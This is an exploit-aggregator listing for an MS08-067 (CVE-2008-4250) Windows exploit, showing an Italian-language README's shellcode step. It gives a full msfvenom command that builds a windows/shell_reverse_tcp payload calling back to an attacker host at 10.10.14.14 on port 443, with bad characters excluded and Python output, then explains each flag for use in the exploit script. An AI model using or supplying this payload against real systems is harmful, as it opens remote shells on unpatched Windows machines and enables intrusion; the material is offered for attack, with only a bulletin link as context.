Sploitus

Exploit for MS08-067

CVE-2008-4250

kitploit · 2026-08-29

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H3X0V3RL0RD-MS08-067
# MS08-067 | CVE-2008-4250

Riferimento: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN

![image](https://assets.kitploit.com/production/public/readmes/44899/d782ecdc714b654a9b8840335753fb79c7db3ff626a117dd6948d3efc44c0be0.png)

### Generazione dello shellcode

Useremo `msfvenom` per generare lo shellcode.

root@kitploit:~
    
    
    msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
    

root@kitploit:~
    
    
    -p windows/shell_reverse_tcp - This will connect back to me with a shell.
        
    LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread - defining the variables for the payload - my ip, the port, and how to exit.
    
    -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" - The bad characters not to use.
    
    -f py - Output in python format.
    
    -v shellcode - Have the code set the variable shellcode, instead of the default, buf. I want this to match what it’s called in the code I’m using.
    
    -a x86 and --platform windows - Describing the environment I’m attacking.